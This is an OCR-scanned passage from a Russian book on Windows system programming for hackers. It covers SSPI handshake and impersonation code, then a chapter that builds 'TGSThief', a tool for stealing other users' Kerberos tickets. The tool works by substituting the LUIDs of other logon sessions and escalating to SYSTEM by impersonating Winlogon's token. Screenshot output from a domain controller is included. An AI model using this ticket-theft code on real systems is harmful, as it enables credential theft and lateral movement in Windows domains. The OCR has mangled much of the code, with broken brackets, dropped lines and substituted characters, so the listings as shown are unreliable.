экземпляру типа secBufferDesc. Он указывает, сколько буферов содержится в мас
сиве.
typedef struct SecBufferDesc {
unsigned long ulVersion; // Здесь
unsigned long cBuffers;
PSecBuffer
pBuffers;
SecBufferDesc, *PSecBufferDesc;
typedef struct _SecBuffer (
unsigned long cbBuffer; //
unsigned long BufferType;
void SEC_FAR *pvBuffer;
SecBuffer, *PSecBuffer;
Чтобы
система
сама
указываем
SECBUFFER_VERSION
Размер блока памяти,
выделила
место
на который указывает
под
эти
буферы,
pvBuffer
в
вызове
функции
Ini tializeSecuri tycontext 11 в параметре fContextReq требуется указать ISC_REQ_ALLOCATE_
MEMORY.
Наконец, итоговая функция на клиенте будет выглядеть следующим образом:
В001 ClientHandshakeAuth(CredНandle*
phContext, PTSTR pszServer) (
phCredentials, PULONG
plAttrЬibutes,
CtxtHandle*
Глава
4.
Изучаем возможности
WinAPI
71
для пентестера
В001 fSuccess = FALSE;
_try {
SECURITY STATUS ss;
// Объявляем входной и выходной буфер
SecBuffer secBufferOut[l);
SecBufferDesc secBufDescriptorOut;
SecBuffer secBufferin[l);
SecBufferDesc secBufferDescriptorin;
//
Устанавливаем информацию о состоянии цикла
fFirstPass = TRUE;
ss = SEC- I - CONTINUE NEEDED;
while (ss == SEC I CONTINUE_NEEDED)
// Указатель на входной блоб
РВУТЕ pbData = NULL;
if (fFirstPass) { // Первый проход, входных буферов еще
secBufferDescriptorin.cBuffers = О;
secBufferDescriptorin.pBuffers = NULL;
secBufferDescriptorin.ulVersion = SECBUFFER VERSION;
В001
-
else { // Последовательные nроходы
// Получение размера блоба
ULONG lSize = О;
ULONG lTempSize = sizeof(lSize);
ReceiveData(&lSize, &lTempSize); // Узнаем размер
pbData = (PBYTE)malloc(lSize);
ReceiveData(pbData, &lSize); // Получаем блоб
нет
данных
// Входной буфер указывает на блоб
secBufferin[O) .BufferType = SECBUFFER_TOKEN;
secBufferin[O] .cbBuffer = lSize;
secBufferin[O] .pvBuffer = pbData;
// Входной BufDesc указывает на входной буфер
secBufferDescriptorin.cBuffers = 1;
secBufferDescriptorin.pBuffers = secBufferin;
secBufferDescriptorin.ulVersion = SECBUFFER_VERSION;
)
// Устанавливаем вь~одной буфер (SSPI выделит память
secBufferOut[O] .BufferType = SECBUFFER_TOКEN;
secBufferOut(O] .cbBuffer = О;
secBufferOut(O] .pvBuffer = NULL;
// Выходной BufDesc указывает на выходной буфер
secBufDescriptorOut.cBuffers = 1;
secBufDescriptorOut.pBuffers = secBufferOut;
secBufDescriptorOut.ulVersion = SECBUFFER VERSION;
для него)
Часть
72
11.
Системное программирование для хакеров
ss = InitializeSecurityContext(phCredentials, fFirstPass ? NULL : phContext,
pszServer, *plAttrbibutes I ISC_REQ_ALLOCATE_MEМORY, О, SECURITY_NEТWORК_DREP,
&secBufferDescriptorin, О, phContext, &secBufDescriptorOut, plAttrbibutes, NULL);
// Первый проход больше
fFirstPass = FALSE;
не делаем
// Если блоб был выходным, то посылаем его
if (secBufferOut[0] .cbBuffer != О) (
// Связь с сервером, посылаем размер блоба
SendData(&secBufferOut[0] .cbBuffer, sizeof(ULONG) );
// Посылаем сам блоб
SendData(&secBufferOut[0] .pvBuffer, secBufferOut[0] .cbBuffer);
// Освобождаем выходной буфер
FreeContextBuffer(secBufferOut[0] .pvBuffer);
) //Работав цикле, пока ss не станет
if (ss 1= SEC_E_OK) ( // Окончательный
leave;
равно
SEC_I_CONTINUE NEEDED
результат
fSuccess = TRUE;
finally ( // При сбое освобождаем хендл контекста
if ( ! fSuccess) (
ZeroMemory(phContext, sizeof(*phContext));
return (fSuccess);
//
Соответственно,
if
( 1 ClientнandshakeAuth(&hCredentials,
//
вызов выглядит вот так
&lAttributes, &hContext, L"jcompl23") )) (
Ошибка
else (
// Мы
аутентифицированы
DeleteSecurityContext(&hContext);
FreeCredentialsHandle(&hCredentials);
Спешу заметить, что мы используем здесь функции sendData () и RecvData (). Это мо
жет быть любая функция для взаимодействия, хоть сокеты
WSA с их wsaRecv (),
WSASend (), хоть ReadFile (), WriteFile (). SSP независим от способа передачи данных,
контекст можно выстроить хоть на голубях.
Глава
4.
Изучаем возможности
WinAPI
для пентестера
73
Роль сервера
После того как на клиенте будет запущена функция InitializeSecurityContext (), она не
будет возвращать управление до тех пор, пока сервер не запустит свою функцию
AcceptSecurityContext():
KSECDDDECLSPEC SECURITY_STATUS SEC_ENTRY AcceptSecurityContext(
phCredential,
PCredНandle
[in, optional]
phContext,
PCtxtHandle
[in, optional]
[in, optional]
PSecBufferDesc pinput,
unsigned long fContextReq,
[in]
unsigned long TargetDataRep,
[in]
phNewContext,
[in, out, optional] PCtxtHandle
[in, out, optional] PSecBufferDesc pOutput,
[out]
unsigned long *pfContextAt tr,
ptsExpiry
PTimeStamp
[out, optional]
);
Здесь используются все те же параметры, что и в
Ini tializeSecuri tyContext (), кроме
двух зарезервированных и имени сервера. Понятно, что в рассматриваемом случае
последнее не нужно, т. к. эта функция запускается на самом сервере. Роль такая
же
-
функция должна запускаться в цикле до тех пор, пока не вернет SEC_Е _ок.
У нее есть два отличия:
□ при первом обращении к этой функции у нас уже есть первый блоб, полученный
от клиента, поэтому мы всегда имеем дело с входным буфером (в отличие от
InitializeSecurityContext(), где при первом вызове ничего с входным буфером не
делается);
□ в
данной
функции
действуют
все
те
же
требования
к
контексту,
что
и
у InitializeSecurityContext (), они указаны в документации
Microsoft (https://docs.
microsoft.com/en-us/windows/win32/api/sspi/nf-sspi-acceptsecuritycontext).
Вроде бы все одинаковое, но полученный от этой функции контекст обладает
большими возможностями, чем результат, полученный от Ini tializeSecuri tyContext ().
Этот контекст мы сможем использовать для имперсонации клиента.
Пример построения контекста на сервере также достаточно прост:
В001 ServerHandshakeAuth(CredНandle* phCredentials, PULONG plAttrbibutes, CtxtHandle*
phContext) {
В001 fSuccess = FALSE;
_try {
SECURITY STATUS ss;
// Объявляем входной и выходной буфер
SecBuffer secBufferOut[l];
SecBufferDesc secBufDescriptorOut;
SecBuffer secBufferin[l];
SecBufferDesc secBufferDescriptorin;
Часть
74
// Устанавливаем информацию
BOOL fFirstPass = TRUE;
ss = SEC- I- CONTINUE- NEEDED;
11.
Системное программирование для хакеров
о состоянии цикла
while (ss == SEC- I - CONTINUE- NEEDED)
// Связь с клиентом
// Получаем размер блоба
ULONG lSize = О;
ULONG lTempSize = sizeof(lSize);
ReceiveData(&lSize, &lTempSize);
// Получаем блоб
РВУТЕ pbTokenBuf = (PBYTE)malloc(lSize);
ReceiveData(pbTokenBuf, &lSize);
// Входной буфер указывает на блоб
secBufferin[0] .BufferType = SECBUFFER_TOKEN;
secBufferin[0] .cbBuffer = lSize;
secBufferin[0] .pvBuffer = pbTokenBuf;
// Входной BufDesc указывает на входной буфер
secBufferDescriptorin.cBuffers = 1;
secBufferDescriptorin.pBuffers = secBufferin;
secBufferDescriptorln.ulVersion = SECBUFFER VERSION;
// Устанавливаем выходной буфер (SSPI выделит память
secBufferOut[0] .BufferType = SECBUFFER_TOКEN;
secBufferOut[0] .cbBuffer = О;
secBufferOut[0] .pvBuffer = NULL;
// Выходной BufDesc указывает на выходной буфер
secBufDescriptorOut.cBuffers = 1;
secBufDescriptorOut.pBuffers = secBufferOut;
secBufDescriptorOut.ulVersion = SECBUFFER VERSION;
для него)
// Функция управления блобом
ss = AcceptSecurityContext(phCredentials, fFirstPass ? NULL : phContext,
&secBufferDescriptorin, *plAttrbibutes I ASC_REQ_ALLOCATE_MEMORY,
SECURITY_NETWORK_DREP, phContext,
&secBufDescriptorOut, plAttrbibutes, NULL);
// Первый проход больше
fFirstPass = FALSE;
не нужен
// Если блоб выходной, то посылаем его
if (secBufferOut[0] .cbBuffer = О) {
// Связь с клиентом
// Посылаем размер блоба
SendData(&secBufferOut[0] .cbBuffer, sizeof(ULONG) );
1
Глава
4.
Изучаем возможности
WinAPI
для пентестера
75
// Посылаем сам блоб
SendData(secBufferOut[O] .pvBuffer, secBufferOut[O] .cbBuffer);
// Освобождение выходного буфера
FreeContextBuffer(secBufferOut[O] .pvBuffer);
) // Сидим в цикле, если ss == SEC I CONTINUE NEEDED
if (ss != SEC_E_OK) { //
leave;
Окончательный результат
fSuccess = TRUE;
finally
// Если сбой, то освобождаем хендл nолного контекста
if ( 1 fSuccess) {
ZeroMernory(phContext, sizeof(*phContext));
return (fSuccess);
// Соответственно, вызов выполняется вот так
if(!ServerHandshakeAuth(&hCredentials, &lAttributes, &hContext)) {
// Ошибка
ss = IrnpersonateSecurityContext(&hContext);
if (ss != SEC_E_OK) {
_leave;
DeleteSecurityContext(&hContext);
FreeCredentialsHandle(&hCredentials);
Использование полного контекста
После
того
как
у
нас
успешно
отработали
функции
AcceptSecuri tyContext ()
и
InitializeSecurityContext (), мы получим на сервере хендл полного контекста. Его
можно использовать следующим образом.
Имперсонация
IrnpersonateSecurityContext позволяет серверу олицетворять клиента с по
мощью хендла контекста, ранее полученного вызовом AcceptSecurityContext 1) или
QuerySecuri tyContextToken (). Функция IrnpersonateSecuri tyContext 1) дает серверу возмож
Функция
ность выступать от лица клиента при всех проверках прав доступа:
Часть
76
11.
Системное программирование для хакеров
KSECDDDECLSPEC SECURITY_STATUS SEC_ENTRY ImpersonateSecurityContext(
[in] PCtxtHandle phContext
);
RevertSecurityContext()
Позволяет прекратить олицетворение вызывающего объекта и восстановить собст
венный контекст безопасности:
KSECDDDECLSPEC SECURITY_STATUS SEC_ENTRY RevertSecurityContext(
[in] PCtxtHandle phContext
);
Получение токена из контекста
С помощью этой функции мы можем достать токен пользователя, контекст которо
го получен из функции AcceptSecuri tyContext ():
KSECDDDECLSPEC SECURITY_STATUS SEC_ENTRY QuerySecurityContextToken(
[in] PCtxtHandle phContext,
**Token
[out] void
);
Заключение
Токены
-
это один из столпов безопасности в системах
Windows.
Сегодня вы по
лучили представление лишь об основах работы с ними. Если интересно погрузить
ся глубже, то попробуйте изучить ограниченные токены (CreateRestrictedToken ()) и их
особенности.
ГЛАВА
5
Получаем билеты
методом
TGT
GIUDA
Есть разные способы злоупотреблять сессией пользователя на устройстве: кража
учетных данных, манипуляции с токенами и другие. Но знаете ли вы, что можно
сымитировать получение
функции
TGT-билета пользователем
через совершенно легитимные
Windows?
В последнее время появилось несколько новых способов из такого разряда. Наиболее
- WTSimpersonator (bttps://gitbub.com/OmriВaso/WTSimpersonator)
(bttps://github.com/foxlox/GIUDA). Последний позволяет получать тике
интересные
и GШDA
ты залогиненного пользователя, даже не зная его пароля! Давайте разберемся, как
это работает, а параллельно напишем реализацию на С++, которую я назвал
TGSThief (https://gitbub.com/МzНmOffGSThief/ЫoЬ/main/tgs.cpp ).
Logon Session
При входе пользователя в
Windows появляется
сессия пользователя, которая хранит
все данные о нем. Для каждого нового пользователя создается новая сессия. На
пример, если на компьютере одновременно работают два пользователя, то будут
две сессии (рис.
5.1).
Каждая сессия определяется с помощью LШD
ния понятно, что
LUIO
(locally unique identifier).
Из назва
уникален для каждой сессии. Информация хранится в виде
одноименной структуры.
typedef
ULONG
LONG
LUID,
Сам
struct _LUID {
LowPart;
HighPart;
*PLUID;
LUID
представлен в виде двух значений:
заполняется лишь поле
ULONG
и
LONG.
Причем обычно
LowPart, а HighPart имеет значение О.
Эта структура используется во всех функциях
заны с сессиями пользователя.
WinAPI,
которые так или иначе свя
Часть
78
Рис.
5.1.
11.
Системное программирование для хакеров
Как выглядят
Logon Sessions
С помощью GetTokeninfoпnation (} (https:/Лearn.microsoft.com/ru-ru/windows/win32/
api/securitybaseapi/nf-securitybaseapi-gettokeninformation)
можно получить LUID
пользователя. Для этого функции следует передать токен процесса, запущенного от
имени текущего пользователя.
#include <windows.h>
#include <iostream>
#include <sddl.h>
int main() (
НANDLE tokenНandle;
if (!OpenProcessToken(GetCurrentProcess(), TOКEN_QUERY, &tokenНandle)} (
std::cerr « "Ошибка OpenProcessToken: "« GetLastError() « std::endl;
return 1;
DWORD
tokeninfoпnationLength: О;
TokenStatistics, nullptr, О, &tokeninfoпnationLength};
if (GetLastError() !: ERROR_INSUFFICIENT_BUFFER) (
std: :cerr « "GetTokeninfoпnation неудачный первый вызов: " « GetLastError( } «
std: :endl;
CloseHandle(tokenHandle};
return 1;
GetTokeninfoпnation(tokenHandle,
ТОКЕN
STATISTICS* tokenStats
reinterpret_cast<TOКEN_STATISTICS*>
(new BYTE[tokeninformationLength]};
if (tokenStats :: nullptr} (
std: :cerr « "Ошибка выделения
CloseHandle(tokenHandle};
return 1;
памяти для
TOKEN STATISTICS" « std: :endl;
Глава
if
5.
Получаем билеты
(!GetTokeninfoпnation(tokenНandle,
&tokeninfoпnationLength))
std: :cerr « "Ошибка
delete[] tokenStats;
79
TGT методом GIUDA
TokenStatistics, tokenStats,
tokeninfoпnationLength,
{
GetTokeninfoпnation:
" « GetLastError () « std:: endl;
CloseHandle(tokenНandle);
return 1;
std: :cout « "LUID: " « std: :hex « "Ох" « std: :uppercase «
tokenStats->Authenticationid.LowPart << tokenStats->Authenticationid.HighPart << std: :endl;
delete[] tokenStats;
CloseHandle(tokenНandle);
return
О;
Информация
ТОКЕN
о
LUID
пользователя
упадет
в
поле
Authenticationid структуры
STATISTICS.
typedef struct _TOКEN_STATISTICS {
Tokenid;
LUID
Authenticationid;
LUID
ExpirationTime;
LARGE INTEGER
TokenType;
ТОКЕN ТУРЕ
SECURITY_IMPERSONATION_LEVEL ImpersonationLevel;
DynamicCharged;
DWORD
DynamicAvailaЫe;
DWORD
DWORD
GroupCount;
PrivilegeCount;
DWORD
Modifiedid;
LUID
TOКEN_STATISTICS,
*PTOКEN_STATISTICS;
Именно на манипуляциях с
ски идет подмена
LUID,
LUID
основана логика инструмента
GIUDA.
Фактиче
что открывает возможность запросить билет от лица поль
зователя, чья сессия просто присутствует на устройстве. Свой
научились, а как получать
LUID
мы получать
LUID других пользователей?
Конечно, мы можем перечислить все процессы, запросить токен каждого процесса,
извлечь
LUID,
но
это
неудобно.
Поэтому
следует
использовать
функцию
(https ://learn.microsoft.com/en-us/windows/win32/api/
ntsecapi/nf-ntsecapi-lsaenumeratelogonsessions).
LsaEnumera teLogonSessions ()
NTSTATUS LsaEnumerateLogonSessions(
[out] PULONG LogonSessionCount,
[out] PLUID *LogonSessionList
);
□
LogonsessionCount -
□
LogonSessionList -
в этом параметре вернется количество сессий в системе;
в этом параметре будет список
LUID
сессий на системе.
Часть
80
Рис.
5.2.
11.
Системное программирование дпя хакеров
Результат выполнения проrраммы
Вот пример перечисления всех сессий в системе (рис.
#include <windows.h>
#include <ntsecapi.h>
#include <iostream>
#include <locale.h>
#define STATUS SUCCESS
5.2):
((NТSTATUS)OxOOOOOOOOL)
#pragma comment(lib, "Secur32.lib")
int main() {
setlocale(LC_ALL, "");
ULONG logonSessionCount = О;
PLUID logonSessionList = nullptr;
status = LsaEnumerateLogonSessions(&logonSessionCount, &logonSessionList);
if (status != STATUS_SUCCESS) {
std: :cerr « "Ошибка LsaEnumerateLogonSessions: " << status « std: :endl;
return 1;
NТSTATUS
std: :cout « "Количество сеансов входа в систему: "<< logonSessionCount « std::endl;
for (ULONG i = О; i < logonSessionCount; ++i) {
std: :cout « "Сеанс N'" « i + 1 « std: :endl;
std: :cout << "LUID: " << std: :hex << "Ох" << std: :uppercase <<
logonSessionList[i] .LowPart << logonSessionList[i] .HighPart << std: :endl;
std: :cout « std: :endl;
Глава
5.
Получаем билеты
TGT методом G/UDA
81
LsaFreeReturnВuffer(logonSessionList);
return
О;
К сожалению, из одного
LUID
не очень понятно, что представляет собой эта сес
сия. Хотелось бы получить хотя бы имя пользователя. Для этого применяется
функция LsaGetLogonSessionData () (bttps://learo.microsoft.com/ru-ru/windows/win32/
api/ntsecapi/nf-ntsecapi-lsagetlogonsessiondata).
LsaGetLogonSessionData(
Logonld,
[in] PLUID
[out] PSECURITY_LOGON_SESSION_DATA *ppLogonSessionData
NТSTATUS
);
Функция принимает
струкrуру
LUID,
информацию о котором нужно получить, а возвращает
SECURITY_LOGON_ SESSION_DATA.
typedef struct _SECURITY_LOGON_SESSION_DATA
Size;
ULONG
Logonld;
LUID
UserName;
LSA_UNICODE_STRING
LSA- UNICODE- STRING
LogonDomain;
AuthenticationPackage;
LSA- UNICODE- STRING
LogonType;
ULONG
Session;
ULONG
Sid;
PSID
LogonTime;
LARGE INTEGER
LogonServer;
LSA- UNICODE- STRING
DnsDomainName;
LSA- UNICODE- STRING
Upn;
LSA- UNICODE- STRING
UserFlags;
ULONG
LSA_LAST_INTER_LOGON_INFO LastLogonlnfo;
LogonScript;
LSA_UNICODE_STRING
ProfilePath;
LSA- UNICODE- STRING
HomeDirectory;
LSA_UNICODE_STRING
HomeDirectoryDrive;
LSA_UN!CODE_STRING
LogoffTime;
LARGE INTEGER
KickOffTime;
LARGE INTEGER
PasswordLastSet;
LARGE INTEGER
PasswordCanChange;
LARGE INTEGER
PasswordМustChange;
LARGE_INTEGER
SECURITY_LOGON_SESSION_DATA, *PSECURITY_LOGON_SESSION_DATA;
В этой структуре
-
масса информации о пользователе: имя юзера, пакет аутенти
фикации, через который он прошел проверку, и его флаги. Подробно с описанием
каждого элемента структуры можете ознакомиться в документации:
bttps://learn.
_ session_
_logon
capi-security
microsoft.com/ru-ru/windows/win32/api/ntsecapi/ns-ntse
Часть
82
data.
11.
Системное программирование для хакеров
Нас же будут интересовать поля LogonDomain и lJserName. Следующая функция
позволяет извлечь их, принимает только
LUID.
std: :wstring GetlJserNameFromLogonid(LlJID Logonid)
PSEClJRITY_LOGON_SESSION_DATA pSessionData = NlJLL;
if (LsaGetLogonSessionData(&Logonid, &pSessionData) !=
return L"";
О)
(
std: :wstring domainName(pSessionData->LogonDomain.Buffer, pSessionData->LogonDomain.Buffer.
+ wcslen(pSessionData->LogonDomain.Buffer));
std::wstring userName(pSessionData->UserName.Buffer, pSessionData->lJserName.Buffer +
wcslen(pSessionData->lJserName.Buffer));
LsaFreeReturnBuffer(pSessionData);
return domainName + L"\\" + userName;
Вот полный код программы с изменениями (рис.
5.3):
#include <windows.h>
#include <ntsecapi.h>
#include <iostream>
#include <locale.h>
#define STATlJS SlJCCESS ( (NTSTATlJS)0x00000000L)
#pragma comment (lib, "Secur32. lib")
std: :wstring GetlJserNameFromLogonid(LlJID Logonld)
{
PSEClJRITY_LOGON_SESSION_DATA pSessionData = NULL;
if (LsaGetLogonSessionData(&Logonid, &pSessionData) !=
return L"";
О)
{
std: :wstring domainName(pSessionData->LogonDomain.Buffer, pSessionData->LogonDomain.Buffer
+ wcslen(pSessionData->LogonDomain.Buffer) );
std: :wstring userName(pSessionData->lJserName.Buffer, pSessionData->lJserName.Buffer +
wcslen(pSessionData->lJserName.Buffer) 1;
LsaFreeReturnBuffer(pSessionData);
return domainName + L"\\" + userName;
int main() {
setlocale(LC_ALL, "");
lJLONG logonSessionCouпt = О;
PLlJID logonSessionList = nullptr;
Глава
5.
Получаем билеты
TGT методом G/UDA
83
NTSTATUS status = LsaEnumerateLogonSessions(&logonSessionCount, &logonSessionList);
if (status 1 = STAТUS SUCCESS) (
std: :cerr « "Оuмбка LsaEnumerateLogonSess1ons: " « status « std: :endl;
return 1;
std: :cout << "Количество сеансов входа в систему: "<< logonSessionCount << std: :endl;
for (ULONG i
О; i < logonSessionCount; ++ i) (
std: :cout << "Сеанс №" << i + 1 << std: :endl;
std: :wcout « L"LUID: " « std: :hex « L"0x" « std: :uppercase « logonSessionList[i].
LowPart << logonSessionList[i] .HighPart << L" "<<
GetUserNameFrornLogonid(logonSessionList[i] 1 << std: :endl;
std: :cout << std: :endl;
LsaFreeReturnBuffer(logonSessionList);
return
О;
Рис.
5.3.
Результат выполнения программы
Отлично! Как выr:лядят сессии, мы разобрались. Теперь пора показать, как запра
шиваются билеты
чить чужой тикет.
Kerberos
самой
LSA.
Это поможет нам подменить
LUID
и полу
Часть
84
Как
LSA
11.
Системное программирование для хакеров
запрашивает билеты
Для запроса ТGS-билета
LSA
получает
Kerberos
SPN (service principal
пате, идентификатор
службы) и передает на КОС. Мы можем запрашивать билеть1
TGS сами. Для этого
(https://learn.microsoft.com/en-us/
windows/win32/api/ntsecapi/nf-ntsecapi-lsacallauthentica~onpackage).
есть
NТSTATUS
[in]
[in]
[in]
[in]
[out]
[out]
[out]
функция
LsacallAuthenticationPackage ()
LsaCallAuthenticationPackage(
LsaIJandle,
ULONG AuthenticationPackage,
PVOID ProtocolSuЬmitBuffer,
ULONG SuЬmitBufferLength,
PVOID *ProtocolReturnВuffer,
PULONG ReturnВufferLength,
PNTSTATUS ProtocolStatus
НANDLE
);
Здесь
□ Lsaнandle -
хендл, указывающий на службу
LSA, который можно получить с по
(https://learn.microsoft.com/en-us/windows/
win32/api/ntsecapi/nf-ntsecapi-lsaregisterlogonprocess) или LsaConnectUntrusted ()
(https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapilsaconnectuntrusted);
мощью
LsaRegisterLogonProcess ()
□ AuthenticationPackage -
номер АР, с которым следует взаимодействовать;
□ ProtocolSuЬmitBuffer
передаваемый
буфер,
мы
будем
отдавать
КЕRВ_REТRIEVE _ткт_REQUEST
(https://learn.microsoft.com/ru-ru/windows/win32/api/
ntsecapi/ns-ntsecapi-kerb_retrieve_ tkt_request);
□ SuЬmi tBufferLength -
размер передаваемого буфера;
□ ProtocolReturnВuffer -
ответ от AuthenticationPackage.
Нам прилетит структура
КЕRВ_RETRIEVE _ткт_RESPONSE
(https://learn.microsoft.com/en-us/windows/win32/api/
ntsecapi/ns-ntsecapi-kerb_ retrieve_ tkt_response);
□ ReturnBufferLength □ ProtocolStatus -
размер буфера с ответом;
значение, которое будет содержать код ошибки от АР.
Итак, как заполнить КЕRВ_RETRIEVE_ткт_REQUEST, чтобы получить билет
выглядит вот так:
typedef struct
_КERВ_RETRIEVE_TKT_REQUEST
MessageType;
Logonld;
TargetNarne;
TicketFlags;
CacheOptions;
EncryptionType;
CredentialsHandle;
КERВ_RETRIEVE_TKT_REQUEST, *PKERB_RETRIEVE_TKT_REQUEST;
КERВ_PROTOCOL_MESSAGE_TYPE
LUID
UNICODE STRING
ULONG
ULONG
LONG
SecHandle
TGS?
Структура
Глава
5.
Получаем билеты
TGT методом GIUDA
85
Здесь
то,
□ MessageType
что
нам
нужно
получить
от
АР.
Указываем
KerbRetrieveEncodedTicketMessage;
□ LogonID -
LUID
сессии, от лица которой происходит обращение к АР. Именно
в-~:rот момент и будет подменен
лись к
LUID.
Проблема в том, что если мы подключи
через LsaConnectUntrusted (), то у нас не получится указать здесь
LSA
чужой сессии
-
LSA
LUID
выдаст ошибку Oxs ERROR_ACCESS _ DENIED, но если мы подклю
чимся через LsaRegisterLogonProcess (), то сможем передавать сюда любой желан
ный
LUID.
И таким образом сможем запрашивать билеты из чужой сессии;
□ TargetName -
здесь указываем
□ cacheOptions -
SPN службы,
опции, связанные с кешем
на которую нужно получить билет;
LSA.
Кеш
LSA -
это некое хранили
ще, в котором лежат билеты. Здесь тоже есть некоторые особенности. Если мы
сразу укажем КЕRВ _ RETRIEVE_ ТIСКЕТ _AS _ КЕRВ_ CRED (значение для получения билета
в форме КRВ_CRED, сразу с сессионным ключом), то есть шанс не получить билет.
Проблема в том, что в кеше
рую мы хотим сходить.
КЕRВ _ CRED, то
LSA
LSA
может не быть билета для той службы, на кото
и если мы сразу указываем КЕRВ- RETRIEVE- ТIСКЕТ- AS-
может просто не вернуть никакого билета, поскольку возвращать
нечего. Поэтому придется дважды вызвать функцию LsaCallAuthenticationPackage () '.
Первый раз
-
со значением КERВ_RETRIEVE_TICКET_DEFAULT, второй
ТIСКЕТ _AS _КЕRВ _ CRED.
« ... DEFAULT»
-
с КERВ_RETRIEVE_
отвечает за запрос билета. То есть просим
LSA
об
ратиться к КОС и получить билет;
□ EncryptionType -
желаемый тип шифрования для запрошенного билета. Указыва
ем КЕRВ ЕТУРЕ DEFAULT □ CredentialsHandle -
нам не принципиален тип шифрования;
используется для
SSPI,
в данном случае неважно.
Крадем билет
Мы разобрались с тем, как работает запрос билетов
Kerberos
на локальной системе.
Пора переходить к эксплуатации! Полный исходный код проекта можно посмот
реть в моем репозитории: https://github.com/МzНmOffGSThief/ЫoЬ/main/tgs.cpp.
Сначала мы перечисляем все имеющиеся сессии, для этого я создал функцию
Logoninfo (), работа которой показана на рис.
5.4.
Она принимает указатель на струк
туру 1шо, которая будет проинициализирована нужной сессией. Фактически
-
у какого пользователя нужно стащить билет. Ну или не «стащить», а получить но
вый, абсолютно свежий и чистый билет для каждого пользователя.
В001
Logonlnfo(LUID* LogonSession)
{
std::vector<LUID> logonlds;
PLUID sessions;
ULONG sessionCount;
if (LsaEnumerateLogonSessions(&sessionCount, &sessions)
return FALSE;
!=
О)
{
Часть
86
11.
Системное программирование для хакеров
:\5hare>.\TG5Thief.exe
[+]
[+]
[+]
[+]
[+]
[+]
[+]
Current User 5ID: 5-1-5-21-3359195546-703283941-1907894624-500
Current User: СRINGЕ\Адиинистратор
5eDebugPrivilege EnaЫed
SelmpersonatePrivilege EnaЫed
Current User SID: 5-1-5-18
Current User: NT АUТНОRIТУ\СИСТЕИА
5ystem Impersonation 5uccess
[!] Index: 0, Logon ID: 0004490(, Username: CRINGE\DC01$
[!] Index: 1, Logon ID: 0004075В, Username: CRШGE\DC01$
[!] Index: 2, Logon ID: 00027850, Username: NТ SERVICE\HSSQL$ШCRO5OFТIIIIHID
[!] Index: 3, Logon ID: 00040384, Username: CRINGE\DC01$
[!] Index: 4, Logon ID: 000261А0, Username: NТ АUТНОRПУ\АНОНИННЫЙ ВХОД
[!] Index: 5, Logon ID: 000483F9, Username: СRINGЕ\Аднинистратор
[!] Index: б, Logon ID: 00045В9В, Username: CRINGE\DC01$
[!] Index: 7, Logon iD: 00040383, Usernaшe: CRINGE\DC01$
[!] Index: 8, Logon ID: 000003Е7, Username: CRINGE\DC01$
[ ! ],. Index: 9, Logon ID: 00040714, Usernan1e: CRINGE\DC01$
[!] - Index: 10, Logon ID : 0004054[, Usernaшe: CRINGE\DC01$
[ ! ] Index: 11, Logon ID: 00010(48, Usernaшe: t-Jindoы Hanage,•\DHH - 1
[!] Index: 12, Logon ID: 000003ES, Usernaшe: NT AUTHORITY\LOCAL 5ERVICE
(!] Index: 13; Logon ID: 0000АбЕ8, Username: \
[!] Index: 14, Logon ID: 00010D59, Usernaшe: Hindoи Hanager \ DHH - 1
[!] Index: 15, Logon ID: 000003Е4, Usernaшe: CRINGE\DC01$
[ ! ] Index: 16, Logon ID: 00045834, Usernaшe: CRINЫ\DC01$
[?] Enter ind~;i bf logon session: .
:ri-;~ri\
Рис.
5.4.
Пример работы функции
for (ULONG i = О; i < sessionCount; ++i) {
logonids.push_back(sessions[i]);
LsaFreeReturnBuffer(sessions);
for (size_t i = О; i < logonids.size (); ++i) {
std::wcout « L"\t[!] Index: "« i « L", Logon ID: "« to_hex(logonids[i].LowPart) «
", Username: " « GetUserNameFromLogonid Ilogonids [i] 1 « '\n';
size t index;
std::cout « "\n[?] Enter index of logon session: ";
std: :cin >> index;
if (index < logonids.size()) {
LUID selectedLogonid = logonids[index];
*LogonSession = selectedLogonld;
return TRUE;
Глава
5.
Получаем билеты
87
TGT методом GIUOA
else {
return FALSE;
return FALSE;
шагом
Следующим
подключаемся
к
помощью
с
LSA
LsaRegisterLogonProcess {)
(https:/Лearn.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaregis
terlogonprocess),
чтобы передать
LUID
чужой сессии . Для вызова этой функции
нужна привилегия SeTcbPrivilege. Ею обладает только учетная запись системы. При
вилегию, конечно, можно назначить и руками через
(https://github.com/МzHmO/Privileger, рис .
GPO
или с помощью
Privileger
5.5) .
Чувствуете, что это несколько неудобно? Поэтому я добавил в код простейший ал
горитм для повышения привилегий до учетной записи системы. Здесь все стан
дартно:
1.
2.
Получаем привилегии SeDebugPrivilege и SeimpersonatePrivilege.
Получаем токен процесса, запущенного от лица системы. Я
С
3.
получаю токен
Winlogon.
Применяем токен к нашей программе с помощью ImpersonateLoggedOnlJser 1).
PS C:\Users\Michael\Downloads>
. \Privilegerxбll.exe
(_) 1
___ 1 1
1 ___ / •__ 1 \ \ / I 1 1/ _ \/ _,
1 1 1 1 1 1\ V / 1 1 1 __/ (_ 1
1_1
1- 1 1- 1 \ _/ I_I_I\ ___ J\ __ ,
__/
1 -- \
1 Michael SeTcbPrivilege
(_)
1 1__ ) 1
1__ /
1/ _ \ ·-- 1
1 __/ 1
l\ ___ 1_1
1
V
1.2
https : //github . co~/MzHo,O
[+] User Michael found
[+] Privilege SeTcbPrivilege Found
[+] Validation Success
[+] ValidateAccinfo() success
[+] Initializing 01ode 1
[+] Target Account: Michael
[+] Privilege: SeTcbPrivilege
[+] Co~puterNa~e : WINPC
[+] LsaOpenPolicy() Success
[+] User SID: S-1 - 5-21 -7181б71181 -5179Ц1511 - 111720Ц78б- 1002
[+] Adding SeTcbPrivilege Success
[+] En~erating Current Privs
Progr-~atic na~e: SelockMeRloryPrivilege
Display Name: Бnокировка страниц в памяти
Progr-~atic na~e: SeSecurityPrivilege
Display Name: Упраопение аудитом и журнапом
Program~atic name: SeTcbPrivilege
Display N-e: Работа в режиме операционной
PS C:\Users\Michael\D0111nloads>
Рис.
5.5.
безопасности
систем••
1
Добавление привилегии
SeTcbPrivilege
Часть
88
11.
Системное программирование для хакеров
Код я выделил в отдельный файл getsystem.cpp
(https://github.com/МzНmOffGSThief/ЫoЬ/main/getsystem.cpp).
Теперь у нас есть привилегия SeTcbPrivilege, т. к. ею обладает учетная запись систе
мы. Следующим шагом с помощью
LsaLookupAuthenticationPackage ()
(https://learn.
